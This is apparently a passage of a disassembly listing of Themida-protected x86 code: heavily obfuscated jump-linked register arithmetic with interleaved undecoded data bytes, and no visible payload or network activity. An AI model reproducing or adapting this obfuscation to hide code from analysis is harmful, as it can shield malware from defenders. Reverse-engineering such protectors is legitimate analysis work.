		dd 0F7800AB7h, 80CFFE97h, 0B0E972F7h, 5A000076h, 8E2C14Ah
		dd 73EF281h, 0F28125BDh, 3ED9DE5Eh, 45BBE9h, 0AF0400h
		dd 66AF2CC8h, 241C8B59h, 0E904C483h, 8886h, 46AEE95Fh
		db 1, 0
; ---------------------------------------------------------------------------

loc_550402:				; CODE XREF: Themida_:00564F2Cj
		add	esp, 4
		push	edi
		mov	edi, 45F53999h
		shr	edi, 5
		and	edi, 6D1B2356h
		shr	edi, 6
		and	edi, 615C6008h
		jmp	loc_55F6DC
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0CCh
		dd 0C1739D76h, 0F38105EBh, 45087CD9h, 65D9C381h, 0EB813472h
		dd 5AB8E749h, 815BDF01h, 1A664AC7h, 0CA43E9E8h,	0DE010000h
		dd 2434335Bh, 33243431h, 0FAE92434h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55045F:				; CODE XREF: Themida_:005540F4j
		sub	edx, ecx
		pop	ecx
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_55CDB0
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0Eh
		dd 5200012Dh, 0FC4FE9h,	0EF815B00h, 931E0892h, 3C8BFE29h
		dd 4C48324h, 12350E9h, 8DE95A00h, 6600007Ah, 3805C581h
		dd 66D5F766h, 0ED816645h, 3166EA3Eh, 9A05E9EEh,	0E9570000h
		dd 13ADBh
; ---------------------------------------------------------------------------

loc_5504B4:				; CODE XREF: Themida_:005599FDj
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_55742F
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 9D26E904h, 0ED810000h, 0EDF3AE4Eh, 89E9EB89h
		db 0, 1, 0
byte_5504D7	db 0FFh			; DATA XREF: Themida_:0054FF70o
		dd 669D1C77h, 1CD36659h, 28E99C24h
		db 40h,	1, 0
; ---------------------------------------------------------------------------

loc_5504E7:				; CODE XREF: Themida_:0055FFECj
		mov	edx, [esp]
		push	ecx
		jmp	loc_55AC2B
; ---------------------------------------------------------------------------
		dd 0FFFBA2E9h, 0F75E59FFh, 7AA2E9D8h, 0D3290000h, 0E9D3015Ah
		dd 0E104h
; ---------------------------------------------------------------------------

loc_550508:				; CODE XREF: Themida_:00561C09j
		pop	ecx
		jmp	loc_55B2D3
; ---------------------------------------------------------------------------
		dw 0EDC0h
		dd 0CA685305h, 89000050h, 75B5240Ch, 0EB3055B3h, 83240C8Bh
		dd 0E3C004C4h, 0C127E906h, 0BEB80000h, 0D161248h, 441B2E7Ah
		dd 1B6EFC2Dh, 93C78156h, 1123D65h, 3C6852C7h, 8B56203Dh
		dd 0C4832414h, 412E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550556:				; CODE XREF: Themida_:0055BBFFj
		add	esp, 4
		jmp	loc_55EF32
; ---------------------------------------------------------------------------

loc_550561:				; CODE XREF: Themida_:0055C1E5j
		mov	ecx, 4
		push	3ADDh
		jmp	loc_55B74E
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4ECh, 24048900h, 757AE9h
		db 0
byte_550581	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FDCCo
aHk		db '$hŠ:',0
		align 2
		dw 2C89h
		dd 4EC8324h, 83242489h,	0FF042404h, 835D2434h, 0ABE904C4h
		dd 1000119h, 2434FFF0h,	4C4815Eh, 0E9000000h, 0E7B2h
; ---------------------------------------------------------------------------

loc_5505B4:				; CODE XREF: Themida_:0055A3C0j
		push	edx
		jmp	loc_554B27
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 242C8704h, 242C895Ch, 0DF2AE9h
		dd 1EE95F00h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505D7:				; CODE XREF: Themida_:00563224j
		and	ecx, 6576523Bh
		add	ecx, 0BEABEFEAh
		add	esi, ecx
		jmp	loc_562351
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 58C10159h, 0BA52F929h, 6F521253h, 1E55E981h,	0D1291935h
		dd 1E55C181h, 7BE91935h
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------

loc_55060B:				; CODE XREF: Themida_:00559C5Fj
		push	0E65h
		jmp	loc_5619DB
; ---------------------------------------------------------------------------
aMsc		db 'Žc&',0             ; DATA XREF: Themida_:0054FE88o
		dw 8100h
		dd 4C4h, 0FA71E900h, 6235FFFFh,	89400406h, 0B85058C7h
		dd 7570730Ch, 9A9E9h
		db 0
; ---------------------------------------------------------------------------

loc_550639:				; CODE XREF: Themida_:00551845j
		pop	edi
		push	5CF3h
		jmp	loc_5611CB
; ---------------------------------------------------------------------------
		dd 383EF681h, 0C681473Ah, 0FFFFFFFFh, 1518EE81h, 0EE8168EFh
		dd 0DA4B1F62h, 348BF189h, 292EE924h, 815A0000h,	64180FC7h
		dd 81DF0176h, 64180FEFh, 3B39E976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55067A:				; CODE XREF: Themida_:00564D6Fj
		sub	esi, 3DA227D5h
		push	ecx
		mov	ecx, 2B0158AAh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_554805
; ---------------------------------------------------------------------------
aM0lusK		db '¸M0‹u鸪',0
		align 10h
		dd 13EB6859h, 14890000h, 0E3D8E924h, 0EF290000h, 0E8C7815Dh
		dd 310A80D0h, 0BF575FF8h, 6022343h, 62E4E9h, 4BE5600h
		dd 0E9000000h, 644h
; ---------------------------------------------------------------------------

loc_5506D0:				; CODE XREF: Themida_:00552E3Cj
		push	486Ah
		mov	[esp], ebp
		mov	ebp, 54CF36BEh
		sub	ebp, 1
		shr	ebp, 4
		neg	ebp
		push	esi
		jmp	loc_5602B1
; ---------------------------------------------------------------------------
word_5506EE	dw 1CF7h		; DATA XREF: Themida_:0054FF14o
		dd 0A0E99C24h, 8BFFFFF9h, 5456241Ch, 4C6815Eh, 83000000h
		dd 8AE904C6h, 8B0000EAh, 34E92404h, 2900002Ah, 7BEE81EEh
		dd 8128F124h, 4B775FEEh, 2434FF24h, 81242C8Bh, 4C4h, 1E6DE900h
		dd 0E0350000h, 89050836h, 0F10158C6h, 8324348Bh, 0C3304C4h
		dd 240C3124h, 8B240C33h, 6AE92424h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_550753:				; CODE XREF: Themida_:005550D6j
		xor	esi, eax
		xor	eax, esi
		push	edx
		jmp	loc_55A7A8
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 54h
		dd 56240C8Bh, 0C681E689h, 4, 10C50E9h, 1BAA6800h, 815D494Bh
		dd 0B704246Ch, 105A057h, 0E904246Ch, 7D82h, 1FE1E95Ah
		dd 0C3890001h, 73FBA58h, 6DE91B6Dh, 4000089h, 750459B6h
		dd 752CF828h, 60B15166h, 0FFFC3CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5507AD:				; CODE XREF: Themida_:00559F3Aj
		push	375Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	544Dh
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, 72F95193h
		add	ebp, ebx
		sub	ebp, 72F95193h
		jmp	loc_56485F
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
		dd 122FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5507E5:				; CODE XREF: Themida_:005654AEj
		mov	eax, ebp
		pop	ebp
		xor	eax, 0F5237734h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_560609
		push	eax
		mov	eax, 43C86B03h
		or	eax, 44525E6Fh
		push	ebx
		mov	ebx, 4BA13C0Ah
		push	ebp
		push	eax
		jmp	loc_555A1D
; ---------------------------------------------------------------------------

loc_550820:				; CODE XREF: Themida_:005520E4j
		pop	ebx
		pop	ebp
		and	eax, edx
		jmp	loc_555117
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 4EC835Bh, 0E9243C89h, 0C53Dh, 4A45C981h, 0D1F7406Ch
		dd 6A6AE981h, 0FAE921FDh, 5900012Ah, 8B24048Fh,	48B2424h
		dd 7FD76824h, 34890000h, 81E68924h, 4C6h, 4C68300h, 7F68h
		dd 25FCE900h, 0FA890001h, 9E0CE9h, 4B900h, 55E90000h, 50000023h
		dd 4B8h, 24448100h, 810DED04h, 17A7E918h
		db 1, 0
; ---------------------------------------------------------------------------

loc_550896:				; CODE XREF: Themida_:0055CD2Cj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55E799
; ---------------------------------------------------------------------------
		dd 0FF243489h, 8B042474h, 0C4832434h, 24048F04h, 240CD35Ch
		dd 0F7D9E99Ch, 0C483FFFFh, 0F8C28104h, 4A5E1C4Ch, 0C281D2F7h
		dd 5F8A1D0Ah, 3877EA81h, 0D68957C8h, 75D3E9h, 4B900h, 5CE90000h
		dd 0C100002Fh, 0D0F702E8h, 600E2Dh, 58C201E0h, 4EC81h
		dd 14890000h, 2474FF24h, 48F5A04h, 24248B24h, 9C240408h
		dd 0FFF786E9h, 4C483FFh, 93B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_550919:				; CODE XREF: Themida_:005582AFj
		pop	ecx
		push	0
		sub	[esp], edx
		pop	edx
		push	ebx
		mov	ebx, 8C02A01Ch
		sub	edx, ebx
		pop	ebx
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_553C10
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483240Ch, 24048F04h, 0F74DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55094A:				; CODE XREF: Themida_:00550394j
		sub	eax, 74EC6A89h
		add	eax, 75B60940h
		add	eax, ebx
		sub	eax, 75B60940h
		add	eax, 74EC6A89h
		mov	ebx, [esp]
		jmp	loc_5652F6
; ---------------------------------------------------------------------------
		dd 906B951h, 35E9794Fh,	53000098h, 330615BBh, 5BD8293Dh
		dd 0C3BF575Bh, 817FFB56h, 0E975A0F7h, 5FF82961h, 3EE9D801h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550993:				; CODE XREF: Themida_:00555A2Dj
		not	ecx
		dec	ecx
		shr	ecx, 1
		jmp	loc_56046D
; ---------------------------------------------------------------------------
		db 1, 0DAh, 81h
		dd 613286C2h, 1ABF5738h, 0E91C117Ah, 0E5F6h, 0BB241C89h
		dd 52081EB3h, 13612E9h,	4C38100h, 87000000h, 665C241Ch
		dd 305B6658h, 2371E9E8h, 0C4830000h, 68505B04h,	55967B03h
		dd 58C63158h, 0DEF6814Eh, 14F4746h, 24348BF0h, 7CCDE9h
		dd 61C78100h, 0E9671A68h, 0A200h
; ---------------------------------------------------------------------------

loc_5509FC:				; CODE XREF: Themida_:0055A3AEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 20h
		jmp	loc_5572BF
; ---------------------------------------------------------------------------

loc_550A0C:				; CODE XREF: Themida_:005544F0j
		add	[esp+8], ebx
		pop	ebx
		add	dword ptr [esp+4], 2316107Fh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 2316107Fh
		sub	dword ptr [esp+4], 72D87BDBh
		mov	eax, [esp]
		jmp	loc_559919
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 34FF0000h, 0C4815824h, 4, 5773AC2Dh,	0BDE95078h
		db 20h,	1, 0
; ---------------------------------------------------------------------------

loc_550A53:				; CODE XREF: Themida_:0055E164j
		push	2557h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_558395
; ---------------------------------------------------------------------------
aPsre		db ')ÕPé…',0
		align 2

loc_550A82:				; CODE XREF: Themida_:00557630j
		inc	edx
		dec	edx
		jmp	loc_55C058
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 3
		dd 8105E9C1h, 0C79A78C1h, 8BCD215Ah, 0C481240Ch, 4, 8028F581h
		dd 0E8019F39h, 1C47095Dh, 8B2434FFh, 0C4812404h, 4, 4C481h
		dd 16680000h, 89000014h, 0EC81241Ch, 4,	81243489h, 4ECh
		dd 24148900h, 4EC81h, 4890000h,	313B6824h, 0E958271Dh
		dd 6200h
; ---------------------------------------------------------------------------

loc_550AEC:				; CODE XREF: Themida_:00561923j
		push	ecx
		jmp	loc_556A7D
; ---------------------------------------------------------------------------

loc_550AF2:				; CODE XREF: Themida_:005519C9j
		not	ebx
		sub	ebx, 2B9B6E1Dh
		add	ebx, 4ADB3869h
		push	edi
		mov	edi, 130A3A9h
		add	ebx, 56D7CEBh
		add	ebx, edi
		jmp	loc_559540
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812424h, 4, 0EE60E9h, 32EA8100h, 0FF696017h, 63E92434h
		dd 8900000Eh, 0EADE9E1h, 0C1290001h, 8324048Bh,	685604C4h
		dd 74444BC3h, 3EEC15Eh,	0FE8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_550B4D:				; CODE XREF: Themida_:00551ADFj
		mov	eax, [esp]
		add	esp, 4
		push	2065h
		mov	[esp], edx
		sub	dword ptr [esp], 347955FFh
		pop	esi
		add	esi, 347955FFh
		pop	edx
		shl	esi, 4
		push	ebx
		jmp	loc_55AD86
; ---------------------------------------------------------------------------
aB4Fsfb		db 'ºB4ÄFé”B',0
		dd 24048900h, 714BE9h, 42DE2D00h, 0E9563ED6h, 1129Bh, 0E958C720h
		dd 0D40Fh, 8101ED83h, 85E771EDh, 5DEF3151h, 5172E781h
		dd 0BA521284h, 44B31B76h, 0C15AD731h, 0F78108E7h, 7360465Ch
		dd 74C4E9h, 0E20400h, 8BE22CE8h, 0B268240Ch, 0E900001Ch
		dd 2A07h
dword_550BD4	dd 240C8B66h, 0C579E9h	; DATA XREF: Themida_:00550038o
		db 0
; ---------------------------------------------------------------------------

loc_550BDD:				; CODE XREF: Themida_:00555084j
		mov	eax, 4B6737E4h
		xor	ebx, eax
		pop	eax
		push	ebx
		add	dword ptr [esp], 118D0F63h
		pop	ecx
		sub	ecx, 118D0F63h
		pop	ebx
		sub	edi, 5D5116ECh
		add	edi, ecx
		add	edi, 5D5116ECh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_560C5D
; ---------------------------------------------------------------------------

loc_550C20:				; CODE XREF: Themida_:00560AFDj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		jmp	loc_552507
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 0BA3DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550C3E:				; CODE XREF: Themida_:00558B0Cj
		add	esi, 0E46F05A0h
		jmp	loc_55C9A8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0F66E9F6h, 6866CCB6h, 8966435Bh, 16E9240Ch, 5000013Ch
		dd 2EE95854h, 51000029h, 4B9h, 1F94E900h, 0E9520000h, 406Ch
		dd 6CBF575Fh, 0F72CD827h, 0C1DFF7D7h, 0BB5307E7h, 6E3F7394h
		dd 0E95BDF31h, 871Ah, 5E665066h, 81665866h, 66054DCEh
		dd 128BEE81h, 9B32D66h,	66F02966h, 0E909B305h, 1103Fh
		dd 2111FBBh, 5BD80166h,	2DABBF57h, 0A6E9B4B0h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550CC7:				; CODE XREF: Themida_:005575C3j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_55DB30
; ---------------------------------------------------------------------------
		db 88h
		dd 17E4E9FDh, 0B0E90000h, 0F6FFFFF3h, 3612E9E1h, 65680001h
		dd 0E900006Fh, 5F81h, 0E325B7B9h, 0D0E18112h, 0F7048346h
		dd 4FF181D9h, 29B76484h, 0E95859CFh, 27B9h, 0E95EF001h
		dd 7B2h, 6968515Ch, 0E9000047h,	10949h
; ---------------------------------------------------------------------------

loc_550D28:				; CODE XREF: Themida_:00560876j
		sub	ecx, 85D6DAD2h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55FD8F
; ---------------------------------------------------------------------------

loc_550D3F:				; CODE XREF: Themida_:0055FC35j
		pop	esp
		pop	dword ptr [esp]
		pop	esp

loc_550D44:				; CODE XREF: Themida_:00558984j
					; Themida_:005620AAj
		push	ebx
		push	edx
		mov	edx, 60462878h
		sub	dword ptr [esp+4], 4D412934h
		add	[esp+4], edx
		add	dword ptr [esp+4], 4D412934h
		jmp	loc_558CDF
; ---------------------------------------------------------------------------
		dd 5324348Bh, 0C381E389h, 4, 8704C383h,	15C241Ch, 0F495E9F9h
		dd 0C201FFFFh, 11267E9h, 9C6800h, 34890000h, 84FFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550D92:				; CODE XREF: Themida_:0055DBDDj
		mov	ebp, esi
		pop	esi
		jmp	loc_55CF17
; ---------------------------------------------------------------------------

loc_550D9A:				; CODE XREF: Themida_:0055CF6Bj
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, 3D7E62A1h
		sub	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_550DF1
; ---------------------------------------------------------------------------
		dw 0F68h
		dd 8900005Dh, 73E9241Ch
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550DC3:				; CODE XREF: Themida_:0055C998j
		shl	eax, 4
		add	eax, 15BB4365h
		jmp	loc_561E9D
; ---------------------------------------------------------------------------

loc_550DD0:				; CODE XREF: Themida_:0055A147j
		add	esi, 4
		add	esi, 4
		push	43CEh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_560AF0
; ---------------------------------------------------------------------------

loc_550DF1:				; CODE XREF: Themida_:00550DB1j
		shl	edx, 1
		shr	edx, 2
		neg	edx
		jmp	loc_564A8F
; ---------------------------------------------------------------------------
		db 0B9h, 8Fh, 59h
		dd 89534C2Ch, 4C381E3h,	83000000h, 0E5E904EBh, 1000043h
		dd 1C875FFBh, 55E95C24h, 49000079h, 11E02E9h, 4B85000h
		dd 0E9000000h, 719Dh
; ---------------------------------------------------------------------------

loc_550E30:				; CODE XREF: Themida_:005554F8j
		not	edi
		push	ebp
		mov	ebp, 97DADF39h
		xor	edi, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_55B5C7
; ---------------------------------------------------------------------------

loc_550E42:				; CODE XREF: Themida_:00559F67j
		push	eax
		mov	eax, 3A652DB9h
		add	esi, eax
		pop	eax
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5632A4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 11FD6E9h, 0E9BEB700h, 0D7BEh, 6B8C681h
		dd 73E97359h, 5B0000EFh, 8904EC83h, 0EC81241Ch,	4, 0E9240489h
		dd 0CC20h, 51243481h, 5938C74Dh, 4D51F181h, 0CF8938C7h
		dd 81240C8Bh, 4C4h, 0C9AEE900h,	34FF0000h, 0C4815B24h
		dd 4, 31B168h, 6264E900h, 295F0000h, 238FE9E8h,	0D7870000h
		dd 12516E9h, 2DCD8100h,	8122174Fh, 9020FCCDh, 96ED8162h
		dd 89139D54h, 0E9485DE8h, 12469h, 2E57BE56h, 0CE817BE0h
		dd 62341E49h, 64F68146h, 817BF43Eh, 0B52DA7EAh,	81F20143h
		dd 0B52DA7C2h, 9918E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550F0E:				; CODE XREF: Themida_:0055290Bj
		mov	edx, 57AB5BE4h
		jmp	loc_55FCCA
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0DFE9243Ch, 5900008Ah, 8DDDC681h,	0F201900Eh
		dd 5024348Bh, 12F4BE9h,	0E935B300h, 0C83Dh, 0FF241C89h
		dd 0FF042474h, 34FF2434h, 0C4815B24h, 4, 8F04C483h, 895C2404h
		dd 0EC812414h, 4, 53240489h, 0C381E389h, 4, 0CC91E9h, 24348900h
		dd 30781ABEh, 0E9545259h, 346Bh, 0A3685653h, 8B483542h
		dd 0A5E92434h
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_550F8F:				; CODE XREF: Themida_:0055FCD0j
		push	edx
		sub	dword ptr [esp], 1
		pop	edx
		sub	edx, 1DC26656h
		sub	edx, 0C413D616h
		sub	eax, edx
		pop	edx
		push	ebp
		push	526Dh
		mov	[esp], edi
		push	5DF7126Ah
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		jmp	loc_562A75
; ---------------------------------------------------------------------------

loc_550FCB:				; CODE XREF: Themida_:00551751j
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 29436CF3h
		jmp	loc_559DBB
; ---------------------------------------------------------------------------
		dw 0EB25h
		dd 5133B829h, 21F14BB9h, 0F5F8E93Eh, 0E95CFFFFh, 0FC49h
; ---------------------------------------------------------------------------

loc_550FF8:				; CODE XREF: Themida_:0055EC68j
		add	[esp+4], ebx
		jmp	loc_550125
; ---------------------------------------------------------------------------
aRsb		db 'RéBÐ',0
		dw 0FE00h
aS_6		db 'Ïé[Â',0
		align 2
word_55100E	dw 2268h		; DATA XREF: Themida_:0054FF88o
		dd 89000012h, 34FF2404h, 2434FF24h, 4EC8158h, 89000000h
		dd 58542404h, 405h, 4E88300h, 5C240487h, 0E9240C89h, 10D34h
		dd 4EE81h, 34870000h, 14895C24h, 1EBF5724h, 0E92D626Dh
		dd 0A3A8h, 0B1DD0B9h, 45BE5665h, 3143FEB7h, 0C8895EF1h
		dd 83240C8Bh, 0C23104C4h, 0E9D60158h, 29AEh, 64745CB9h
		dd 58C13116h, 2211C181h, 0BA525482h, 311605C3h,	4207E2C1h
		dd 7615EA81h, 0D1016B71h, 59CA295Ah, 11E9D389h,	8100000Ch
		dd 7A6DEDh, 0ED815E06h,	0E78B1F8Fh, 0DA64E9h, 5585400h
		dd 4, 8704C083h, 96E92404h, 660000C8h, 0E92DD705h, 6C58h
dword_5510CC	dd 3CB353ACh, 8006EBC0h, 0DBF645C3h, 8852C3FEh,	0E9C6FEDEh
					; DATA XREF: Themida_:0054FFA0o
		dd 12C5Ch, 533ECF81h, 0F7811A6Fh, 63180D2Dh, 5747E781h
		dd 0E7C17508h, 11B95102h, 0E96C0E54h, 0A52Dh
; ---------------------------------------------------------------------------

loc_551104:				; CODE XREF: Themida_:0055CED1j
		mov	edx, [esp]
		jmp	loc_56210B
; ---------------------------------------------------------------------------
		dd 0EA7FBE56h, 0EA817A00h, 42CB6E58h, 0C281F229h, 42CB6E58h
		dd 102AE9h, 7AE98100h, 29637374h, 0BB5352D9h, 22C30976h
		dd 4A5AE9h, 13DABD00h, 0F7452A33h, 7EDC1DDh, 5276E581h
		dd 0E5C1490Bh, 3F03E907h, 34890000h, 361CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55115A:				; CODE XREF: Themida_:00551C27j
		pop	edx
		add	esp, 4
		jmp	loc_554BFB
; ---------------------------------------------------------------------------
		db 31h
		dd 31F031C6h, 0E9F787C6h, 9967h, 4D00CB81h, 0E3C101C9h
		dd 0EAE95607h, 680000A8h, 276Ch, 0E9240489h, 0C967h, 48B665Ch
		dd 0E0E95124h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551197:				; CODE XREF: Themida_:00562166j
		push	31EEh
		mov	[esp], eax
		mov	eax, 3AC969F2h
		add	edx, 562F6066h
		jmp	loc_562C84
; ---------------------------------------------------------------------------
		db 81h
		dd 8B2950F6h, 0D1E68127h, 0C1433E19h, 0CE8102E6h, 0C705A73h
		dd 0B38F681h, 5CE919BEh, 890000F4h, 0FF542414h,	82E92434h
		dd 89FFFFF5h, 0E789243Ch, 4C781h, 26E90000h, 0BB0000C9h
		dd 33282189h, 0F0E95F53h
		db 0A6h, 2 dup(0)
byte_5511F7	db 64h			; DATA XREF: Themida_:0054FE14o
		dd 2B60F66h, 76BE6866h,	24048966h, 0FFEE8EE9h
		db 0FFh
byte_551209	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FDB8o
		dd 4EC8124h, 89000000h,	0E6892434h, 10D83E9h, 1AF06800h
		dd 81597242h, 0EF1220EAh, 0E9CA0157h, 7927h, 4EC81h, 3C890000h
		dd 46824h, 15F0000h, 243C8BFBh,	11832E9h, 78E95000h, 570000E2h
		dd 3AD9E9h, 4BA5200h, 0E9000000h, 0CB0Bh
; ---------------------------------------------------------------------------

loc_551260:				; CODE XREF: Themida_:0055A3FAj
		add	edx, ebp
		pop	ebp
		jmp	loc_550376
; ---------------------------------------------------------------------------
dword_551268	dd 240C8B66h, 0FAD6856h, 4890000h, 48B5424h, 4C48324h
					; DATA XREF: Themida_:0054FE54o
		dd 405h, 4E88300h, 491FE9h, 81E18900h, 4C1h, 4E98300h
		dd 5C240C87h, 0E9240C89h, 0BF95h
; ---------------------------------------------------------------------------

loc_5512A0:				; CODE XREF: Themida_:0055C33Cj
		dec	eax
		and	eax, 44945024h
		push	esi
		mov	esi, 1F901207h
		add	esi, 25055F61h
		jmp	loc_560DD0
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9DDF65Ah, 0C94Eh, 0FFEDD2E9h, 0BE5659FFh, 4, 815EF101h
		dd 4C1h, 240C8700h, 4A25E9h, 70E95E00h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5512E3:				; CODE XREF: Themida_:005599ADj
		shl	eax, 3
		push	esi
		mov	esi, 39B15A5Bh
		xor	esi, 61BA7956h
		jmp	loc_564D65
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048700h, 0ED91E95Ch,	0C6FEFFFFh, 454EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55130D:				; CODE XREF: Themida_:005571D7j
		xchg	edi, [esp]
		jmp	loc_55C853
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 0A4FEh
; ---------------------------------------------------------------------------

loc_55131C:				; CODE XREF: Themida_:0055D8BCj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 48171C71h
		add	ebp, 1ED336A5h
		push	ebp
		push	edi
		mov	edi, 2EC1253Ah
		xor	[esp+4], edi
		pop	edi
		jmp	loc_55E3E8
; ---------------------------------------------------------------------------

loc_55133C:				; CODE XREF: Themida_:00551FC5j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_55A2C7
; ---------------------------------------------------------------------------
		db 5Fh,	42h, 0C1h
		dd 0C28106E2h, 7507358Eh, 815AD609h, 0E86DEBEEh, 0FFF02962h
		dd 348B2434h, 4D8E924h,	0E7890000h, 4D9AE9h
		db 0
; ---------------------------------------------------------------------------

loc_551379:				; CODE XREF: Themida_:005614AFj
		mov	[esp], ebx
		push	4
		jmp	loc_555C8F
; ---------------------------------------------------------------------------
		dw 0C631h
		dd 0E9D6F758h, 372Ch
dword_551390	dd 240C8B66h, 0EBA0E956h, 81590000h, 9D2381C6h,	51C6816Ch
					; DATA XREF: Themida_:0054FFB0o
		dd 10DCE22h, 372E9D6h, 5D540001h, 6685751h, 8900004Dh
		dd 8EBE2434h, 0BF492D5Fh, 1F53A2F4h, 348BF701h,	4C48124h
		dd 89000000h, 0F7515FF9h, 0ACE9241Ch
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5513DB:				; CODE XREF: Themida_:005593C2j
		xor	esi, 0C91AFBB4h
		add	ecx, esi
		pop	esi
		jmp	loc_56568E
; ---------------------------------------------------------------------------
aFps		db 'fPéÙ¹',0
		align 10h
		dd 0FFECA2E9h, 24348BFFh, 0FF74E957h
		db 2 dup(0FFh)
word_5513FE	dw 77FFh		; DATA XREF: Themida_:0054FF20o
		dd 59669D1Ch, 9C2414D2h, 0FFEC8AE9h, 3D3F68FFh,	2C890000h
		dd 3460BD24h, 56E951D5h, 8F0000FEh, 248B2404h, 3EC06824h
		dd 62E90000h
		db 1Dh,	1, 0
byte_55142F	db 0FFh			; DATA XREF: Themida_:0054FFE4o
		dd 81582434h, 4ECh, 24148900h, 0B506E954h, 8B580000h, 0C4812434h
		dd 4, 1227E948h
		db 2 dup(0)
word_551452	dw 8B66h		; DATA XREF: Themida_:0054FEA8o
		dd 7A68240Ch, 89000056h, 0E6892434h, 3EE95257h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551467:				; CODE XREF: Themida_:00562269j
		push	edi
		mov	edi, 6D1968AEh
		sub	edi, 724B5F3Fh
		xor	edi, 0F8A4248Ch
		mov	ecx, edi
		jmp	loc_559678
; ---------------------------------------------------------------------------

loc_551480:				; CODE XREF: Themida_:0055C7FFj
		mov	ecx, 41F36124h
		xor	ecx, 277E61C4h
		or	ecx, 33DF5A31h
		add	ecx, 0EFB0991h
		add	ecx, 5E8A7E10h
		jmp	loc_5655CD
; ---------------------------------------------------------------------------

loc_5514A2:				; CODE XREF: Themida_:005631E4j
		push	295B6FB6h
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, esi
		pop	esi
		jmp	loc_55D4C4
; ---------------------------------------------------------------------------
		db 29h,	0D5h, 5Ah
		dd 2474FF55h, 242C8B04h, 4C481h, 48F0000h, 3A0DE924h, 42D0000h
